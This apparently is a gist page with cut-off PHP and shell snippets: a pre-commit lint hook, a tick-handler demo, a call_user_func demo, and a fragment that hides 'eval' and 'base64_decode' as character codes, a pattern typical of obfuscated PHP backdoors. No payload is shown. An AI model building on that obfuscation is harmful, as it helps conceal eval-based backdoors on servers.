This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Put this file in .git/hooks/pre-commit | |
# Change it to be executable! If you don't do this, it won't work | |
# chmod +x .git/hooks/pre-commit | |
git diff-index --diff-filter=ACMR --name-only --cached HEAD | | |
grep '.php$' | | |
xargs -tn1 php -l | |
if (( $? )); then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
declare(ticks=1); | |
// A function called on each tick event | |
function tick_handler() | |
{ | |
echo "tick_handler() called\n"; | |
$trace = debug_backtrace(); | |
if (count($trace) <= 1) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# Reference http://us.php.net/language.variables.variable | |
class foo { static function hello() { print __LINE__." ".get_class()." world\n"; } } | |
class bar { function hello() { print __LINE__." ".get_class()." world\n"; } } | |
function hello() { print __LINE__." world\n"; } | |
call_user_func('hello'); | |
call_user_func( array('foo','hello') ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$__array = array( | |
"g"=>"103 101 116 95 97 99 99 101 115 115", | |
"r"=>"82 101 115 116 114 105 99 116 101 32 97 99 99 101 115 115", | |
"e"=>"101 118 97 108", | |
"b"=>"98 97 115 101 54 52 95 100 101 99 111 100 101", | |
); | |
foreach($__array as $__key=>$__val) $__array[$__key] = implode("", array_map("chr", explode(" ", $__val))); |